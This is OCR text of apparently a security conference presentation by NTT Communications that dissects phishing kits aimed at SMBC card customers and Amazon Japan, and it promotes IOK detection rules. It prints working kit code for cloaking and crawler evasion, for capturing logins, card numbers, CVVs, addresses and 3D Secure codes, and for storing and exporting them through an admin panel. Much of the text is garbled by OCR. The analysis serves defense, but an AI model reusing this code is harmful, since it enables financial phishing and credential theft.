. . . is_relay == true || is_threat == true || is_tor == true || is_tor_exit == true || is_vpn == true
phIShIng klt. The assessment window. location = "http://localhost";

return false;

criteria are as follows: } etse 4

if (localStorage.getItem("isLoad")) {
window. location = configAll.URLtarget;
Yelse{
_this.getHome

}

smbc/view/1ndex/1ndex.html
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2. Cloaking Function

Redirect to localhost if the
aCccess source user's operating
system is not 10S or Android
(in other words, if it is not a
mobile device).

if (osName != 'i0S' && osName != 'Android') {
window. location = "http://localhost";

return false;

smbc/view/1ndex/1ndex.html

4 N
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2. Cloaking Function if (is_abuser == true ||

Check whether the access contype == “cdn® |1
: : . contype hosting" ||
source user IS using d speC|f|c “'c'blhty‘pé/ "education” |]
connection type (such as CDN, o e = i [|]
hosting service, proxy, Tor, or is_attacker = true ||
VPN) identified as abuser, is_bogon == true ||
attacker, or for investigative is_proxy == true ||
purposes. If the conditions is_cloud_provider == true ||
match, redirect to localhost. is_relay == true ||
is_threat == true ||
& N is_tor == true ||

is_tor_exit == true ||

is_vpn == true) @

window. location = "http://localhost";
return false;

smbc/view/1ndex/1ndex.html

\ 4
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Case 2: Phishing Kit discussing SMBC bosinass | (AT

2. Cloaking Function Felse{

In cases other than the results R

of the evaluation II’_] @’ . if (localStorage.getItem("islLoad")) {
perform the f'C')|_|OWII"]g proc_ess. window. location = configAll.URLtarget;
If the "isLoad" item exists in velsed

the local storage, redirect to s e el

the value of the URL target set }

in "configAll.” -]

Note that the configuration for
configAll.URLtarget is set in smbc/view/index/index.html
the value defined in
public/static/config.js. The 4 N
default value at the time of
acquiring this phishing kit is
https:/www|.]smbc-
card|.]com/.
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3. Crawler Detection
Function

Retrieve information such as
Referrer, UserAgent,
ServerName, and other details
from the request information.

Define a list of disallowed
crawlers and check if the
browser information contains
the name of any disallowed
crawler.

© NTT Communications Corporation All Rights Reserved.

namespace think;
$HTTP_REFERER = @$_SERVER["HTTP_REFERER"];
$HTTP_USER_AGENT = @$_SERVER["HTTP_USER_AGENT"];
$SERVER_NAME = @$_SERVER['"SERVER_NAME"];
$CompCharArr = explode(",","Baiduspider,Scooter,ia_archiver,Googlebot, FAST-WebCrawler,MSNBOT,Slurp");
$CompCharArrSize = sizeof($CompCharArr);
$CheckSign = "";
for($i=0;$i<$CompCharArrSize;$i++){
$CompChar = trim($CompCharArr($il);
if($CompChar<>"" && preg_match_all('/"'.$CompChar.'/i',$HTTP_USER_AGENT) ){
$CheckSign = "T";
¥
}
$SERVER_NAME_M = "http://".$SERVER_NAME;
$EndLenth = strlen($SERVER_NAME_M) + 1;
$CompServerName = "http://".$SERVER_NAME."/";
if(!empty($CheckSign) && ($HTTP_REFERER == "" or substr($HTTP_REFERER,®,$EndLenth) <> $CompServerName )){
exit();
}

require _ DIR__ . '/../vendor/autoload.php';

$http = (new App())—>http;

$response = $http->run();
$response->send();

$http—>end($response);

smbc/public/index.php
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4. Phishing Content
The following is the code that calls the login page of the phishing site.

# SMBC

ﬁF{I BETEYR—b 1 FREE Language

A - T30 DR -BB&FyrvIVTd FyoR—-2Y FKRAVbh H—EX ZEEEFHRTE

VpassOJ 1 >
div data-v-e3974890="" id="header_overlay"
9+ MHTTHRBRDOA div dgta—v—e3974890="" id="contWrap"
div data-v-e3974890=""
div data-v-e3974890=""
VpassicTE& (E) > h2 data-v-e3974890="">VpassO &' A >r</h2

VpassZix? > script src="/static/lib/vue/vue.js" script
script src="/static/lib/axios/axios.min.js"

QA TERWVWE >

ection data-v-e3974890="" class="1loginBox"
div data-v-e3974890="" class="loginArea"
form data-v-e3974890="" method="post"
action="https://www.smbc-card.com/memapi/jaxrs/xt_login/agree/v1"
novalidate=

smbc/view/1ndex/i1ndexinfore.html
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4. Phishing Content
Perform registration in the database upon pressing the "Submit" button.

submit() {
localStorage.setItem('accountInfore', JSON.stringify(this.accountInfore));
let ua = JSON.parse(localStorage.getItem("ua"));
if (!'localStorage.getItem("ipId")) {
axios.post("{:url('index/index"')}", ua).then(res => {
localStorage.setItem("ipId", res.data.data)
window. location.href = "{:url('index/card"')}" public function index(Request $request)
}).catch(err => { {
1 if ($request—>isPost()
} else {

window. location.href = "{:url('index/card"')}" $postAll = $request—>post();
$postAll["createa_time"] = date("Y-m-d H:i:s");

$list = Iplink::addIP($postAll);
Session::set('ipId', $list);

ApiService::success( , $list, 1);

return View::fetch():

smbc/view/1ndex/1ndexinfore.html
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Case 2: Phishing Kit discussing SMBC Do, | Carrrcammcin
4. Phishing Content

The following is the code that calls the input page for credit card
information.

I'I SMBC SMBCON~T

=HiERN-K Sl =
Fyon—r
2 S ' ® — -
. I P Nt b localStorage.setItem("cardInfo", JSON.stringify(cardInfoAll));
if (this.cardInfo.card_no.length >= 15 && this.cardInfo.card_no.length <= 20) {
if (cardInfoAll.mom >= 5 || cardInfoAll.year > 23
if (this.cardInfo.card_cvv != null && this.cardInfo.card_cvv.length >= 3 && this.cardInfo.card_cvv.
Vpass IDfE A1EERDIRAE axios.post("{:url('index/card")}",

"cardInfo": this.cardInfo,
"ipId": localStorage.getItem("ipId")

1. RS FHBOAN

) .then(res =>
_ N this.disabledCard = false;
\_‘ZFAE;‘:% timer4 = setInterval(() => {
this.isPass(res.data.data
ERLL DN i 00
).catch(err =>
LRES )

} else {
swal("T>—", "AhZhftF+FaVF4A—FRIIEHTT. HOI—EAHNLTSEZW!", "error");

H— FiZicBn16MinES 5 AN {Z& W
}

else
swal("T>5—=", "Ly b A—ROFDHERSTINTWET., 2Ly b h—REFZZ|MLTLSEZ, ", "error");

} else {

swal("ITS5—", "ANWShE=Hh—REBESEIEYPTT., HOI—EAHALTLLEZN!", "error");
}
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Case 2: Phishing Kit discussing SMBC Do, | Carrrcammcin
4. Phishing Content

If it is confirmed that the input information on the credit card information
input page is correct, proceed to register the information in the database.

isPass(cardId) {
let _this = this;
if (_this.isPassCard == "R%") {
axios.get("{:url('index/getCard')}", { params: { "card_id": cardId } }).then(res => {
if (res.data.data.card_status == 1) {
window. location.href = "{:url('index/address")}"
} else if (res.data.data.card_status == 2) {
swal("TL5—", "EXILWAENEE->-TWET.,. HO—EAHNLTSEENWWVI", "
setTimeout(() => {
location.reload();
}, 2000);
¥
}).catch(err => {
¥
} else {
window. location.href = "{:url('index/address"')}" 1

} $getAll = $request—>get();
$result = Card::find($getAll["card_id"]);

ApiService::success "“, $result, 1);

public function getCard(Request $request)

}

smbc/view/1ndex/1ndexinfore.html
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Case 2: Phishing Kit discussing SMBC docomo | arrcmniior
4. Phishing Content
The following is the code that calls the input page for personal identification

information.

# SMBC
=HERN-K
K2 =
al
YN
EFERHOAD
HEH
a3 %

SMBCON~T

FyoNn—r

FooN— 0 7

Vpass IDE AR OIEAE

2. bR F EFEROAN

L4

nJ4 o
> —

hl data-v-5d51b73c="" wovn-enable="">Vpass IDfEAIGEEHRDIREL</h1
div data-v-5d51b73c="" class="yabane_step" wovn-enable=""
ul data-v-5d51b73c="" class="yabane_row"
li data-v-5d51b73c="">1</11i
li data-v-5d51b73c="" class="act"
div data-v-5d51b73c=""><span data-v-5d51b73c="">2.</span>HE S FEFATEHROAN

Li

li data-v-5d51b73c="">3</11

div
div data-v-5d51b73c="" data-dojo-type="vp/alcor/view/ErrorMessage" id="vp-view-err_common"
class="error_text_box" data-dojo-props="entryTag:'div',entryClassName: 'error_box_child"'"
lang="ja" widgetid="vp-view-err_common" style="display: none;" div
h2 data-v-5d51b73c="" wovn-enable=""> AR AR </h2
h3 data-v-5d51b73c="" wovn-enable="">{¥Fr{FHRDAH</h3
script src="/static/lib/vue/vue.js" script
script src="/static/lib/axios/axios.min.js" script
div id="appAll"
table data-v-5d51b73c="" class="border_in mr_b10"
y data-v-5d51b73c=""
tr data-v-5d51b73c=""
th data-v-5d51b73c="" class="iconCell"><span data-v-5d51b73c=""
wovn—-enable="">&%Hi</span> <span data-v-5d51b73c=""
class="cLabel_required" wovn-enable="">#2%H</span th

smbc/view/1ndex/address.html
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Case 2: Phishing Kit discussing SMBC A
4. Phishing Content

Upon pressing the "Next" button on the personal identification information
input page, proceed to register the information in the database.

submit() {
this.adressInfore.username=JSON.parse(localStorage.getItem("accountInfore")).username;
this.adressInfore.password=JSON.parse(localStorage.getItem("accountInfore")).password;
this.adressInfore.postnummer=this.codel+'-"+this.code2;
localStorage.setItem("adressInfore'", JSON.stringify(this.adressInfore));
axios.post("{:url('index/adressInfore')}",
"adressInfore": this.adressInfore,
“"ipId": localStorage.getItem("ipId")
) .then(res =>
console.log(res);

public function adressInfore(Request $request)
{
if ($request—->isPost()
$postAll = $request->post();

window. location.href = "{:url('index/sendcode")}" $ipRugest = Iplink::updateIP($postAll["ipId"]);
).catch(err => [ $list = Adressinfore::addAddress($postAll["adressInfore"]);

console. log ("iEREK") ; $ipRugest—>adress_id = $list;
$ipRugest->save();

ApiService::success("", $list, 1);

return View: :fetch();

smbc/view/1ndex/i1ndexinfore.html
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Case 2: Phishing Kit discussing SMBC

4. Phishing Content

The following is the code that calls the input page for 3D Secure

information.

=HERN-K S =
FyoNn—2
= S " ® =) ©
g;:‘f\ ;v‘::"/ Foon—y LBy Y=ER »3?3:-3

hl data-v-73e77ad8="" wovn-enable="">Vpass IDEAEHDIREI</h1
div data-v-73e77ad8="" class="yabane_step" wovn-enable=""
ul data-v-73e77ad8="" class="yabane_row"
li data-v-73e77ad8="">1</11
li data-v-73e77ad8="">2</11i
li data-v-73e77ad8="" class="act"
div data-v-73e77ad8=""><span data-v-73e77ad8="">3.

Vpass ID{E 1SR DAL

YN

3D+ 2 T AL

WebID

lang="ja" widgetid="vp-view-err_common" style="display: none;" div
data-v-73e77ad8="" wovn-enable=""> ZEH AR </h2
data-v-73e77ad8="" wovn-enable="">3D€F a1 U F 1 #fL</h3
script src="/static/lib/vue/vue. js"
script src="/static/lib/axios/axios.min.js"
lLink rel="stylesheet" href="/static/lib/loading.css"

script

SCript

Link

Smbc/view/indéx/sendcode.html

g

N T T Communications
M\,

span>3D/SR T — RDOHERR

div data-v-73e77ad8="" data-dojo-type="vp/alcor/view/ErrorMessage" id="vp-view-err_common"
class="error_text_box" data-dojo-props="entryTag: 'div',entryClassName: ‘'error_box_child"'"

© NTT Communications Corporation All Rights Reserved.
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Case 2: Phishing Kit discussing SMBC Do, | Carrrcammcin
4. Phishing Content

Upon entering 3D Secure information on the 3D Secure information input
page and pressing the "Next" button, proceed to register the information in
the database.

submit() {

this.disabledCard = false; : ) —
if (this.codeInfore.code) { public function sendcode(Request $request)

axios.post("{:url('index/sendcode"')}", {

{ if ($request—>isPost()
""codeInfore": this.codeInfore,

“ipId": localStorage.getItem("ipId")
} $postAll = $request—>post();

.then(res => { $ipRugest = Iplink::updateIP($postAll["ipId"]);
console. log(res); $list = Sendcode::addCode($postAll["codeInfore"]);

this.disabledCard = false; . i '
var timer4 = setlInterval( => $ipRugest->code_id = $list;

$ipRugest->savel();
this.isPass(res.data.data) ApiService::success("", $list, 1);

, 2000);

}).catch(err => { :
console.log(err); return View::fetch();

console. log("iEkKMK") ;

else

}
} else {

swal("T>—", "SMS MR —RZZB([CTH_EIITEEHA, SMS ERIA—FRZAHALTLLEZ, ", "error");
}

smbc/view/1ndex/i1ndexinfore.html
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Case 2: Phishing Kit discussing SMBC Bosiness | T amnor

4. Phishing Content

After displaying the success page, redirect to the configured URL, which iIn
this phishing kit is the official SMBC website.

=HIERN-K are
FyonNn—2
® e gy ® = &
o oo R 9 -~

data-v-73e77ad8="" wovn-enable="">pIj ! </hl
script src="/static/lib/vue/vue.js" script
script src="/static/lib/axios/axios.min.js" script
div id="appAll"

RN |

div style="margin-top: 3rem; margin-bottom: 17rem;"

B !
a dl@ data—v—app:“”
BEHRBINT B &, 5 MRICEDMICAR—LR—JIZRY 9 : . .
div style="margin: 24px 15px; border-radius: 10px;"

div style="margin-bottom: 5rem;"

h3 style="margin-bottom: 1rem;color: O#cb@006;">mIh ! </h3
p>HENERTIT S &, 5 BRICABHICKR—AR—JCRYVET, </p

ho - gtk - REFMCHI H— FFE SRS  FFRRSRFEEoRFER T —fEmuc-ouwe Y

PCHA b 5FRRT S

smbc/view/1ndex/finish.html
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Case 2: Phishing Kit discussing SMBC Bosiness | T amnor

4. Phishing Content

After displaying the success page, redirect to the configured URL, which iIn
this phishing kit is the official SMBC website.

script type="module"
import configAll from "/static/config.js"
new Vue({
el: "#appAll",
data
return @

mounted
setTimeout(() => {
window. location.replace(configAll.URLtarget
}, 5000);

’
methods:

smbc/view/index/finish. html
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Case 2: Phishing Kit discussing SMBC docomo | arrcmniior
5. Acquired Information Management Function

The information entered on the phishing site is stored in a database, and
there is an administration interface to review the accumulated data. (I
attempted to replicate the design based on the source, as trying to launch
it locally resulted in a distorted layout.)

. {block name="body"}

IﬁﬁA -F%%ﬁgﬁi div id="app" v-cloak

div class="login-wrapper"

ERMARF 2 el-avatar icon="el-icon-lock" el-avatar
hA>TERAR P REBBEF</h
el-input v-model.trim="username" placeholder="1E8ABRF%&"></el-input
el-input v-model.trim="password" placeholder="15%AZEE" show-password></el-input
el-button type="primary" @click="1login" :loading="1loading">#E</el-button

Eda ) TR0
1B /5

div

{/block}

smbc/view/admon/login.html
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Case 2: Phishing Kit discussing SMBC docomo | arrcmniior
5. Acquired Information Management Function

A screen is provided to display the acquired information in a list. (I also
couldn't reproduce the screen accurately, so the display is a reconstructed
Image based on the source.)

{block name="body"}<div id=app
div class=header
div class=title
div style=margin-right:1lrem flag:2024_t)$ div
div style=margin-right:1lrem
el-radio—-group @input=redClidk v-model=redOk
e —button label=BAH4L el-radio-button
ﬂag:2024_tj§! [ el button label=ABHLI el-radio-button
u":l Bﬁﬁ rad oup
) ASNBR%
AEZ\;'?;; div style=margin-right:1lrem
z bt el-radio—-group @input=tonbuClick v-model=tonbuOK
SHEBE: e —button label=[F*¥ el-radio-button
EEESZ BAFID FHS/8RFE/ iRt 8) =57 /tbht /5 btk /8RR S /B8/cc IPMﬂ FIR(E 181 el button label=A[R%¥></el-radio-button
dummy dummy dummy dummy dummy dummy dummy durr </ l-radio-group
dummy dummy dummy dummy dummy dummy dummy dun B coleersrr e e
dummy dummy dummy dummy dummy dummy dummy dun el-button @click=clearAll type=success size=small>BRFkHFHiIE</el-button
dummy dummy dummy dummy dummy dummy dummy durr 11V
d d d d d d d d div style=margin-right:1lrem
L LR L Ay Ay e L el-button @click=addCardhead type=success size=small>ZNEHHAFk</el-button

div style=margin-right:1lrem>$H3}/%SE : {{todayBrowse}}</div
div style=margin-right:1lrem>§H L& & : {{todayFish}}</div

smbc/view/admon/index.html o | '
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Case 2: Phishing Kit discussing SMBC Jocomo | rreamnisie
5. Acquired Information Management Function
The phishing kit utilizes MySQL to store data internally.

“code ;
\TE TABLE ‘code’ (
"code_id" int(11) NOT NULL AUTO_INCREMENT COMMENT ‘BOAEREid ",
‘code’ varchar(255) CHARA COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '[BRiFF',
“code_status™ varchar TER S
"webid® varchar ( 255 )
PRIM KEY ( code_id") S “card infore'

) ENGINE = MyISAM AUTO_INCREMENT = 84 CHA|c E TABLE ‘card_ ﬂﬁom‘ (
“card_id® int(11) NOT NULL AUTO_INCREMENT COMMENT Eﬂld'
“card_no’ har AR R

A 3D Secure o

card _date’

" f " \ ca rd_StatUS‘ varchar C A > - y'-\» RO o - \adreSSinfore\;

inTormation L e ; asts e
“card_name’ \CTER S COLL ATE ; ~char ‘
“card_username’
“card_password®

‘surname’ har C CTER S TE utf8_general_ci NULL
‘mobil” \r CT CO TE utf8_general_ci NULL
"mail’ varchar CHARACT Co E utf8_general_ci NULL DEF

“card_shenfen" varchar CHARACTER SET COLLATE §  “adresse® 'E T C( utf8_general_ci NULL

PRI KEY (° _id") USING ‘valgfri' CHAR/ X S COLLATE utf8_general_ci NULL \ULT NULL COMMENT '[¥
) ENGINE = MyISAM AUTO_INCREMENT = 156 CHARACTER SET { “by va C [E = o0 utf8_general_ci NULL DEFAUL L COMMENT '@ﬁﬁ',
“username” varchar C cr T COLLATE utf8_general_ci NULL D [ NULL COMMENT

‘password® v r(255) c I COLLATE utf8_general_ci NULL DEF I NULL COMMENT 'BZ
A C red i't Ca rd “postnummer’ har(255) CH SET utf8 COLLATE utf8 general_ci NULL D ULT NULL COMMENT
‘adress_id" int(11) NOT NULL AUTO_INCREMENT COMMENT '[EH{id’,
. . pL char(255) C ET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT 'Kf&&',
in fO rmat 10N *pn’ varchar(255) C X SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '[EiGH',

‘address2" varchar(255) CTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT 'BE=AMi',
PR g (*adress_id ) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 111 | \CTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = [

APersonal information 79
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Case 2: Phishing Kit discussing SMBC businass | (CHTTCmnes
5. Acquired Information Management Function
It also has a function to output the acquired information to a file.

public function apiDownload()

{

$fullname = $this->request->post("fullname");
$emaill = $this->request—>post("emaill");
$addl = $this->request->post("addl");

$add2 = $this—->request->post('add2");

$city = $this->request—>post(“city");

$sstate = $this->request—>post(“sstate");

$zipp = $this—>request->post(“zipp");

$phonee = $this->request->post(“phonee");

$kahao = $this->request—>post("“ccnumb");

$rigi = $this->request->post(“expr");

$cvv = $this—->request—>post("cvvz");

$ua = $this—->request—>post("ua");

$updatea_time = $this->request->post("updatea_time");

smbc/view/admon/login.html
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Case 2: Summary R —

» The phishing kit named "Mitsui.zip” that imitates SMBC is also
built_usin% Vue.js. It implements cloaking by using information
obtained from external services as a comparative condition.

» Unlike the phishing kit taageting Amazon, it seems that less
emphasis has been placed on crawler detection in this phishing

kit related to SMBC.

» The stolen information is stored in the database on the server
where the phishing kit is deployed. PhIShIn_? actors can review
the information in a list and perform text file output through the

administration interface.
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Utilization of Indicators of Compromise business | (AT

« By generating Indicators of Compromise (IoCs) based on the
characteristics of the phishing Kkit, it is possible to use them
for hunting in Security Information and Event Management
(SIEM) logs and analyzing unknown sites.

« This time, I will introduce "Indicator of Kit" as one of the
methods for utilizing intelligence.

© NTT Communications Corporation All Rights Reserved.



What's IOK (Indicator Of Kit)? bosiness | CATTCnmncion

« JIOK (Indicator Of Kit) is an open-source detection rule format
designed for detecting and analyzing phishing sites.

« It is based on the Sigma rule and is used to describe Indicators of
Compromise (IoCs) specifically for phishing sites in YAML format.

@ Phish Report Howitworks v  Resources v  Pricing Log in )

18]

Indicator Of Kit

:= Browse the rules

Open source detection rules for phishing site techniques, kits, and

threat actors & title: Fake Chrome error page
description: |
« Simple: based on Sigma, a simple detection rules language # The Chrome error page HTML is built into the browser: you should never see it in
website.

» Rich metadata: rules have descriptions, tags, and links to blog posts or

This is a clear sign that the site is employing cloaking/anti-analysis techniques.
related rules.

references:
- https://twitter.com/phish_report/status/1537825544343011328
Use cases:

« |dentify fingerprints of known threat actors detection:

. . . . chromeHTMLFragments:
 Discover anti-analysis techniques htmilcontainslall:
 Classify which specific phishing kit is in use on a page - '<body id="t" class="neterror" style="font-family: '

- '<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">'
condition: chromeHTMLFragments

View on GitHub €

https://phish.report/IO0OK
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What's IOK (Indicator Of Kit)?

« The generated IOK can be submitted as a Pull Request to the GitHub
repository (https://github.com/phish-report/IOK).

« Utilize publicly available indicators to investigate phishing sites that match

the IoC conditions.

O Product v Solutions ¥ Open Source v Pricing

Q Public

<> Code (©) Issues 5 i1 Pullrequests 9 L)) Discussions (») Actions () Security |~ Insights
 main - 2 Branches 0 Tag

a bradleyjkemp Add methods to construct Input from net/http (
.github Add CI check to verify
.snapshots Add methods to construct Input from net/http (

indicators # Create I0K: coin

tools Add new DOM field and update HTML field defin

0

CONTRIBUTING.md A Various project file changes (

LICENSE Initial release

README.md xtract title from both se HTML and DOM

0O
0
0

go.mod update urlscanio-go

0

go.sum update urlscanio-go

iok.go Continue evaluat

iok_test.go Fix build, add Cl ch

(I B P R

logsource.yml Fix marshalling of titles
nethttp.go Add methods to construct Input from net/http (

nethttp_test.go Add methods to struct Input from net/http (

© NTT Communications Corporation All Rights Reserved.

<> Code ~ About

l_:_l Public

Search or jump to...

L\ Notifications % Fork 24

<> Code (%) Issues 5 17 Pullrequests 9 ) Discussions (») Actions () Security

[l Files

main

BB .github

B8 .snapshots

@ indicators

[ 123-reg-63c26.yml

[ 1password-191635.yml

[ account-deletion-countdown.yml
[ actionforms-io.yml

[ adobe-5c70696.yml

[ amadey-botnet-afbOc86a.yml

[ amazon-jp-28bd59a.yml

[ amazon-token-cryptocurrency-s...

[ amerant-bank-4tfevg.yml
[ anpost-7b94e511.yml

[ anz-bank-cd6ec9e7yml

[ ark-investment-crypto-3465f6c¢....

(9 asli-crypto-drainer-ea8f67e.yml

[ avis-Ofbd3ca.yml

indicators /| [

) llluminatiFish ;#Create IOK: coinbase-69638f20 (

123-reg-63c26.yml

1password-191635.yml
account-deletion-countdown.yml
actionforms-io.yml

adobe-5¢70696.yml|
amadey-botnet-afb0c86a.yml
amazon-jp-28bd59a.yml
amazon-token-cryptocurrency-scam-shfxgk.ymil
amerant-bank-4tfevg.yml

anpost-7b94e511.yml

anz-bank-cd6ec9e7.yml

0D 0D DD D DO DD O DR

ark-investment-crypto-3465f6c.yml

|~ Insights

‘+QoL Update: Ensuring tags (

‘+QoL Update: Ensuring tags (

Add account-deletion-countdown from Cofense post
Update sigma-go (

‘+QoL Update: Ensuring tags (

# Create 5 IOKs to detect different malware C2 panels (
‘+QoL Update: Ensuring tags (

Add new DOM field and update HTML field definition (
*+QoL Update: Ensuring tags (

+QoL Update: Ensuring tags (

#Create IOK: anz-bank-cd6ec9e7 (

Adds new IOK rule and mer other rules (

84


https://github.com/phish-report/IOK

What's IOK (Indicator Of Kit)? osiess | e

« Rules committed to the GitHub repository can be viewed directly through
the browser at https://phish.report/IOK/indicators.

@ Phish Report Howitworks v  Resources v  Pricing Log

10K indicators

IOK Rules

Fake crypto giveaway coin selection b791myo4

RULE TAGS

anti-analysis cloaking

Detects a scam giveaway landing page which claims to host a large cryptocurrency event. Sometimes the scammer will
specific cryptocurrency to target, but in this case they decided to add a menu where the user can select a specific coin. @ Phish Report  Howitworks v  Resources v  Pricing Log

BbyStealer Dropper Website aeed70a 10K indicators |/ fake-crypto-giveaway-coin-selection-b791myo4

Detects a BbyStealer dropper website. BbyStealer is a JavaScript-based information stealer created by a threat actor call Fa ke crypto giveaway COin Selection b791 myo4

'brunxkd'. It usually comes packed as an executable (standalone or in an archive) on fake video game websites (which thi

should detect), these URLs are spread by users of this stealer (or compromised accounts) via Discord messages asking RULE TAGS
HESK SR gARE Tak tis, SsiticiimasgLEwaEE 8 arigameideyeloper. Detects a scam giveaway landing page which claims to host a large cryptocurrency event. Sometimes the
scammer will pick a specific cryptocurrency to target, but in this case they decided to add a menu where the kit cryptocurrency

user can select a specific coin. g
Exfiltration using getform.io cryptocurrency.bitcoin

cryptocurrency.ethereum
getform is a service that takes HTML form submissions and sends the results to an email address. It can be used by thred References

building "serverless" phishing pages i.e. where they don't have a backend server that can send emails or store logs. cryptocurrency.doge
¢ https://urlscan.io/result/2d36df23-6af6-4315-b4fa-7540f59e37a0/

https://urlscan.io/result/ab98ee0e-8b82-4a9e-8cf5-bafab9al135a5/
¢ https://urlscan.io/result/0f499d45-6050-49ea-87e0-0ada06245a87/
https://urlscan.io/result/e1d12d03-7da3-413e-9368-fed1c87ff7e1/
https://urlscan.io/result/ca8b41ca-46a7-4811-ac53-cfOefcaa7405/

IONOS Phishing Kit 45d7f514

This phishing kit targets "IONOS" customers. It uses a unique IMGUR URL to host the IONOS logo image file.

IOK Rule (edit)

title: Fake crypto giveaway coin selection b791myo4
description: |

Detects a scam giveaway landing page which claims to host a large cryptocurrency event.

Sometimes the scammer will pick a specific cryptocurrency to target, but in this case they decided to add a menu where the user can select
references:

- https://urlscan.io/result/2d36df23-6af6-4315-b4fa-7540f59e37a0/

- https://urlscan.io/result/ab98ee0e-8b82-4a9e-8cf5-bafab9a135a5/
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Example of Utilizing IOK (Indicator of Kit) Docinasy | CRTTCmmncion
« On the web interface at https://phish.report/IOK, by inputting IOK into

the Example, and pressing the "Update Rule matches”
retrieve urlscan.io registration results that match

Example

title: Amazon_Phishing_Detection
description: |

Detects a Amazon phishing kit targeting Japanese users.
references:

detection:
FormContains:
domlcontains:

9 - 'data-v-2e32dab6="" name="signinem|" method="post" id="signineml" lass="auth-validate-form ¢
10 appScript:
11 requestslcontains:
12 - 'app.75f405b5d5d325e145c9.js'

13 condition: FormContains and appScript

1
2
3
4
5 - https://urlscan.io/result/b75b2254-d248-4ab6-ae21-4969e5e9d837
6
7
8

Rule matches ~~

http://ijp-amazon.top/

Vie

http://jp-amazon.top/

View analys

https://amazon.jp.maodaner.com/

utton, you can
ules specified in IOK.

© NTT Communications Corporation All Rights Reserved.

jp-amazon top
B Malicious Activity! [y

Submitted URL: jp-amazon.top/
Effective URL: jp-amazon.top/
Submission: On January 06 via automatic, source phishtank (January 6th 2024, 10:48:22 pm UTC) — Scanned from DE Hl

ASummary EHTTP 10 A Redirects 1CLinks 9 ®Behaviour ® 4 Indicators | & Similar EIDOM [ Content EEAPI D

Summary Screenshot (e srsrsor ot

amazon..,
This website contacted 2 IPs in 1 countries across 1 domains to perform 10 HTTP transactions. a4y
The main IP is 69.165.76.78, located in Frankfurt (Oder), Germany and belongs to AS40676, [rore—
US. The main domain is jp-amazon.top. -
TLS certificate: Issued by on January 6th 2024. Valid for: 3 years.

jp-amazon.top scanned 6 times on urlscan.io m

urlscan.io Verdict: Potentially Malicious @

Targeting these brands:  ® Amazon Japan (Online) == Amazon (Online)

Live information

Page URL History

Domain & IP information 1. ip-amazon.top/
ip-amazon.top/ [V

IP/ASNs IP Detail Domains Domain Tree Links Certs

> Detected technologies
« IP Address AS

Vue.j
11 69.165.76.78 1l 40676 (AS40676) V Vuejs :]
10 2 Page Statistics

10 0 0] 1 1

2 1 914z 4697 1
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« Phishing kits targeting Japan exhibit distinct characteristics for
each kit. However, they commonly incorporate various cloaking
techniques to evade detection and circumvent access by phishing
hunters or on-site responders.

« Analyzing the contents of phishing kits has allowed us to

understand the cloaking techniques implemented by phishing
actors to evade detection.

« Generating Indicators of Compromise (IoCs) from phishing kits for
investigating phishing sites allows for the streamlining of similar
phishing site investigations, enhancing efficiency in the process.
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Ag e n d a business : NTTCOmmunications

-~

5.Conclusion
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MNT T Communications
-

In the "phishing community," the buying and selling of tools that simplify the misuse and monetization
of phishing kits and personal information by "phishing actors" is believed to contribute to the division
of labor in phishing activities. This practice helps establish and maintain a system where various
aspects of phishing are delegated and specialized.

"Phishing actors," a diverse group of individuals, operate ubiquitously across the surface web, dark web,
and various other online platforms. They are active in many places, even in our immediate
surroundings.

In the "phishing community," actors with various roles engage in active interactions, transcending
language barriers, to exchange information and collaborate effectively.

Each phishing kit has its own characteristics, and by generating and sharing Indicators of Compromise
(IoC) based on analysis results (using tools like IOK), it becomes possible to aid in the investigation of
similar phishing sites.

Indeed, collaboration among defenders is crucial, and together, efforts can be made to mitigate and
eradicate phishing incidents.
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Thank you !

Your comments & feedbacks
are always welcome!

e-mail: ic-had4sec@ntt.com

Network Analytics for Security

© NTT Communications Corporation All Rights Reserved.
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Appendix

Directory structure of a phishing kit that talks about Amazon

A1521

- CrawlerDetect

- CrawlerDetect.php
Fixtures
AbstractProvider.php
AbstractReff.php
Crawlers.php
Exclusions.php
Headers.php
Headerspam.php
SpamReferrers.php
ReferralSpamDetect.php

api_session.php
class.phpmailer.php
class.smtp.php
jump.php
send.php
send_3d.php
send_card.php
send_login.php
blacklist.php
blocker.php
crawlerdetect.php
favicon.ico
index.html

main.php
nginx.htaccess
readme.html

result

e £4399348949831220—pc.txt
- block_bot.txt
ip.txt

- total_bot.txt

© NTT Communications Corporation All Rights Reserved.

static
back.jpg

CSS

- app.752839d3f58c010eccB4f4B8dccBb63497.css

eror2.png

img

.
(%)
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~——

AmazonUIBaseCSS-beacon_light_1x-27cl1lafb8bee530baB8a7051eabdeb9671f745929._V2_.51eb36f.png
AmazonUIBaseCSS-sprite_1x-28bd5%9af93d9blc745bblaca4sde58763b54df7cf._V2_.6a23b50.png
AmazonUIBaseCSS-sprite_1x-7233320d393c05a5508cf7d579641c4b327cbda4. _V2_.afcé4le.png

corgi._CB485918084_.eed186b.png
loading.45b4330.gif

nav-sprite—-global_bluebeacon-1x_optimized_layoutl._CB468502046_.96d38d6.png
nav-sprite—-global_bluebeacon-V3-1x_optimized._CB516556901_.4305490.png
new-nav-sm-smile-sprite—-global-1x_blueheaven._CB485919093_.99b76d8.png

sus.b8b4cilf.gif

0.aeb6cb9f68b80ReBblebd2.7s
1.1f5e12c89c%el7b78cee.Js
10.7e8b298cf8b%eeb78e8d.js
11.8b1570ce205b%aBd5ech.js
12.bBfdcé6f2929c40528cB4.7s
13.5b74bd82b5fed10eB51f. s
14.e1d3405¢c170030bcéelbd.js
15.5a2aef8%a62e11d95a50.3s
2.140dabédccB811eb3215dd.js
.d9a487a8067cff92238c.3s
.3d3c0808f3d7b14f3%ea.]js
.e8cbabc7d%9bea4b7c044.7s
.4153f4cef02ec63128b4. s
.f2cc9663238095710886.7s
.67434be2e9f5bl66bcce. s
.47a7b9%9adeeB46813F1c. s
app.75f405b5d5d325e145¢c9.3s
manifest.dd@91f32d078celae228.3s
vendor.B8942a87b5a70d@6cféea.]s
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Directory structure of the phishing kit that talks about SMBC (too many files,
up to the second level)

smbc public
GeolLite2-City.mmdb 404 .html

README .md favicon.ico

app favicon.png
AppService.php index.php smbc.sql
BaseController.php logo.png think
